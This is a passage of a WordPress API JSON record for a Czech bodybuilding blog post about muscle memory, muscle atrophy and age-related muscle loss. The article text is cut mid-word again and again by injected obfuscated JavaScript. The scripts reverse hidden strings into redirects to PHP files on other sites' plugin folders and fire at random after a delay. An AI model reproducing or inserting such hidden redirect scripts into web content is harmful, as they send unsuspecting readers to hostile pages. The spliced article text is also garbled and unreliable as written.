$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159irozen\u00e9ho d\u011bje ub\u00fdv\u00e1 lidem po t\u0159ic\u00edtce ka\u017ed\u00fdch deset let 3-5 % svalov\u00e9 hmoty. Pokud ta<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to atrofie nen\u00ed \u00fa\u010dinn\u011b brzd\u011bna pravidelnou fyzickou aktivi<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou, d\u0159\u00edve nebo pozd\u011bji dojde k&nbsp;v\u00fdrazn\u00e9mu poklesu kvality \u017eivota vlivem nedostate\u010dn\u00e9 hybnosti. M\u00e1te tedy o d\u016fvod v\u00edc, pro\u010d se pravideln\u011b h\u00fdbat.<\/p>\n\n\n\n<p>A d\u00edky existenci svalov\u00e9 pam\u011bti v\u00edte, \u017ee pokud jste n\u011bkdy v&nbsp;\u017eivot\u011b la\u0161kovali se sportem, budou va\u0161e pokroky v\u00fdrazn\u011bj\u0161\u00ed ne\u017e u nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f. Zlep\u0161it funkci sval\u016f je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e mo\u017en\u00e9 v&nbsp;ka\u017ed\u00e9m v\u011bku. Kdo byl v&nbsp;ml\u00e1d\u00ed aktivn\u00ed a ve st\u0159edn\u00edm v\u011bku \u0159e\u0161il sp\u00ed\u0161 kari\u00e9ru ne\u017e kondici, m\u016f\u017ee st\u00e1le po\u010d\u00edtat s&nbsp;t\u00edm, \u017ee kdy\u017e se v&nbsp;p\u0159edd\u016fchodov\u00e9m (\u010di dokonce i d\u016fchodov\u00e9m) v\u011bku ke cvi\u010den\u00ed vr\u00e1t\u00ed, m\u00e1 \u0161anci se dostat na p\u0159ekvapiv\u011b dobrou \u00farove\u0148. Rozhodn\u011b se jeho forma zlep\u0161\u00ed rychleji a on dos\u00e1hne kvalitn\u011bj\u0161\u00edch v\u00fdsledk\u016f ne\u017e vrstevn\u00edk, kter\u00fd nikdy nespor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toval.<\/p>\n\n\n\n<p>Zdroje:<\/p>\n\n\n\n<p><a href=\"https:\/\/www.nature.com\/articles\/s41598-018-20287-3\">https:\/\/www.nature.com\/articles\/s41598-018-20287-3<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/pubmed.ncbi.nlm.nih.gov\/29794891\/\">https:\/\/pubmed.ncbi.nlm.nih.gov\/29794891\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nejenom proveden\u00e9 v\u00fdzkumy, ale i zku\u0161enosti sportovc\u016f v\u0161ech odv\u011btv\u00ed ukazuj\u00ed jednozna\u010dn\u011b na kladnou odpov\u011b\u010f. \u201eTo je jako s&nbsp;j\u00edzdou na kole, to se nezapom\u00edn\u00e1,\u201c tuhle v\u011btu u\u017e jste ur\u010dit\u011b sly\u0161eli bezpo\u010dtukr\u00e1t. Napadlo v\u00e1s ale n\u011bkdy, jestli uveden\u00e9 pravidlo plat\u00ed i pro cvi\u010den\u00ed s&nbsp;\u010dinkami? Nebo pro jakoukoliv jinou sportovn\u00ed discipl\u00ednu\u2026 V\u011bdci se ot\u00e1zkou svalov\u00e9 pam\u011bti zab\u00fdvaj\u00ed pom\u011brn\u011b dlouho a jejich pr\u00e1ce v&nbsp;podstat\u011b potvrzuj\u00ed to, co ost\u0159\u00edlen\u00ed sportovci d\u00e1vno v\u011bd\u00ed. Svalov\u00e9 bu\u0148ky jsou velmi specifick\u00e9 a vynikaj\u00ed zd\u00e1nliv\u011b nadp\u0159irozen\u00fdmi schopnostmi. Co dok\u00e1\u017ee svalov\u00e1 bu\u0148ka P\u0159edev\u0161\u00edm um\u00ed m\u011bnit svou velikost v&nbsp;z\u00e1vislosti na podn\u011btu. To znamen\u00e1, \u017ee fyzickou z\u00e1t\u011b\u017e\u00ed ji m\u016f\u017eete podn\u00edtit k&nbsp;r\u016fstu, tzv. hypetrofii. Svalov\u00e1 bu\u0148ka pak m\u016f\u017ee b\u00fdt a\u017e stotis\u00edckr\u00e1t v\u011bt\u0161\u00ed ne\u017e pr\u016fm\u011brn\u00e1 bu\u0148ka lidsk\u00e9ho t\u011bla. Sta\u010d\u00ed ale p\u00e1r t\u00fddn\u016f leno\u0161en\u00ed, nedostate\u010dn\u00e1 strava a svalov\u00e1 bu\u0148ka atrofuje (zmen\u0161uje se). Jak dan\u00fd proces prob\u00edh\u00e1 v&nbsp;n\u00e1vaznosti na posilovac\u00ed tr\u00e9nink? Posilov\u00e1n\u00edm stimulujete r\u016fst svalov\u00e9 tk\u00e1n\u011b, mus\u00ed tedy doj\u00edt k&nbsp;nav\u00fd\u0161en\u00ed po\u010dtu svalov\u00fdch bun\u011bk a ke zv\u011bt\u0161en\u00ed jejich objemu. \u010c\u00edm v\u00fdrazn\u011bj\u0161\u00ed a kvalitn\u011bj\u0161\u00ed je stimulace, t\u00edm v\u00edce svalov\u00e9 hmoty p\u0159ib\u00fdv\u00e1. Jestli\u017ee pak p\u0159ijde \u00faraz \u010di je z&nbsp;jak\u00e9hokoliv d\u016fvodu tr\u00e9nink p\u0159eru\u0161en, svalov\u00e9 bu\u0148ky se p\u0159estanou d\u011blit i r\u016fst, vz\u00e1p\u011bt\u00ed dokonce sv\u016fj objem zmen\u0161\u00ed. Ale nezmiz\u00ed, z\u016fst\u00e1vaj\u00ed v&nbsp;t\u011ble a mohou b\u00fdt v&nbsp;budoucnu op\u011bt aktivov\u00e1ny a stimulov\u00e1ny k&nbsp;r\u016fstu i d\u011blen\u00ed. Takto by se tedy zjednodu\u0161en\u011b dal popsat princip svalov\u00e9 pam\u011bti v kulturistice. V\u011bdci se nav\u00edc domn\u00edvaj\u00ed, \u017ee si svalov\u00e9 bu\u0148ky b\u011bhem cvi\u010den\u00ed vytv\u00e1\u0159ej\u00ed ur\u010dit\u00e9 genetick\u00e9 markery, kter\u00e9 jim n\u00e1sledn\u011b pom\u00e1haj\u00ed adekv\u00e1tn\u011b reagovat, kdy\u017e se dan\u00fd stimul opakuje \u2013 t\u0159eba i po letech. Kam a\u017e sah\u00e1 svalov\u00e1 pam\u011b\u0165 V\u011bt\u0161ina odborn\u00edk\u016f se shoduje, \u017ee si svaly \u201epamatuj\u00ed\u201c minim\u00e1ln\u011b 15 let, pokud jste se d\u0159\u00edve dan\u00e9 aktivit\u011b intenzivn\u011b v\u011bnovali. V\u00fdjimkou nejsou ani n\u00e1zory, \u017ee je svalov\u00e1 pam\u011b\u0165 do\u017eivotn\u00ed. To je jist\u011b pot\u011b\u0161uj\u00edc\u00ed konstatov\u00e1n\u00ed. Plat\u00ed tedy, a\u017e a\u010dkoliv atrofie b\u00fdv\u00e1 ne\u00faprosn\u00e1 a nastupuje skute\u010dn\u011b u\u017e v&nbsp;\u0159\u00e1dech t\u00fddn\u016f, pokud svaly neprocvi\u010dujete, jakmile n\u00e1sledn\u011b s&nbsp;tr\u00e9ninkem znovu za\u010dnete, dostanete se na p\u016fvodn\u00ed \u00farove\u0148 rychleji ne\u017e \u010dlov\u011bk, kter\u00fd doposud necvi\u010dil. Nav\u00edc, \u010d\u00edm mlad\u0161\u00ed sportovec, t\u00edm rychlej\u0161\u00ed n\u00e1vrat k&nbsp;p\u016fvodn\u00ed v\u00fdkonnosti. Studie ukazuj\u00ed, \u017ee sportovci v&nbsp;dorosteneck\u00e9m v\u011bku jsou schopni udr\u017eet svalovou hmotu i po \u010dty\u0159ech t\u00fddnech bez tr\u00e9ninku. Schopnost svalovou hmotu udr\u017eet bez adekv\u00e1tn\u00ed stimulace pom\u011brn\u011b dlouhou dobu ov\u0161em postupem v\u011bku sl\u00e1bne. V\u011bk toti\u017e hraje v&nbsp;tomto sm\u011bru roli skute\u010dn\u011b ne\u00faprosnou. Na v\u011bku z\u00e1le\u017e\u00ed A\u017e do t\u00e9to chv\u00edle byla \u0159e\u010d o atrofii zp\u016fsoben\u00e9 ne\u010dinnost\u00ed (\u00faraz, nemoc atd.). Pak je tu ov\u0161em je\u0161t\u011b atrofie souvisej\u00edc\u00ed s&nbsp;v\u011bkem, tzn. sarkopenie, tedy fyziologick\u00fd proces zp\u016fsoben\u00fd st\u00e1rnut\u00edm organismu. Na z\u00e1klad\u011b tohoto p\u0159irozen\u00e9ho d\u011bje ub\u00fdv\u00e1 lidem po t\u0159ic\u00edtce ka\u017ed\u00fdch deset let 3-5 % svalov\u00e9 hmoty. Pokud tato atrofie nen\u00ed \u00fa\u010dinn\u011b brzd\u011bna pravidelnou fyzickou aktivitou, d\u0159\u00edve nebo pozd\u011bji dojde k&nbsp;v\u00fdrazn\u00e9mu poklesu kvality \u017eivota vlivem nedostate\u010dn\u00e9 hybnosti. M\u00e1te tedy o d\u016fvod v\u00edc, pro\u010d se pravideln\u011b h\u00fdbat. A d\u00edky existenci svalov\u00e9 pam\u011bti v\u00edte, \u017ee pokud jste n\u011bkdy v&nbsp;\u017eivot\u011b la\u0161kovali se sportem, budou va\u0161e pokroky v\u00fdrazn\u011bj\u0161\u00ed ne\u017e u nesportovc\u016f. Zlep\u0161it funkci sval\u016f je toti\u017e mo\u017en\u00e9 v&nbsp;ka\u017ed\u00e9m v\u011bku. Kdo byl v&nbsp;ml\u00e1d\u00ed aktivn\u00ed a ve st\u0159edn\u00edm v\u011bku \u0159e\u0161il sp\u00ed\u0161 kari\u00e9ru ne\u017e kondici, m\u016f\u017ee st\u00e1le po\u010d\u00edtat s&nbsp;t\u00edm, \u017ee kdy\u017e se v&nbsp;p\u0159edd\u016fchodov\u00e9m (\u010di dokonce i d\u016fchodov\u00e9m) v\u011bku ke cvi\u010den\u00ed vr\u00e1t\u00ed, m\u00e1 \u0161anci se dostat na p\u0159ekvapiv\u011b dobrou \u00farove\u0148. Rozhodn\u011b se jeho forma zlep\u0161\u00ed rychleji a on dos\u00e1hne kvalitn\u011bj\u0161\u00edch v\u00fdsledk\u016f ne\u017e vrstevn\u00edk, kter\u00fd nikdy nesportoval. Zdroje: https:\/\/www.nature.com\/articles\/s41598-018-20287-3 https:\/\/pubmed.ncbi.nlm.nih.gov\/29794891\/<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,56],"tags":[],"class_list":["post-846","post","type-post","status-publish","format-standard","hentry","category-treninky","category-zdravi"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/846","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=846"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/846\/revisions"}],"predecessor-version":[{"id":849,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/846\/revisions\/849"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=846"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=846"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=846"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}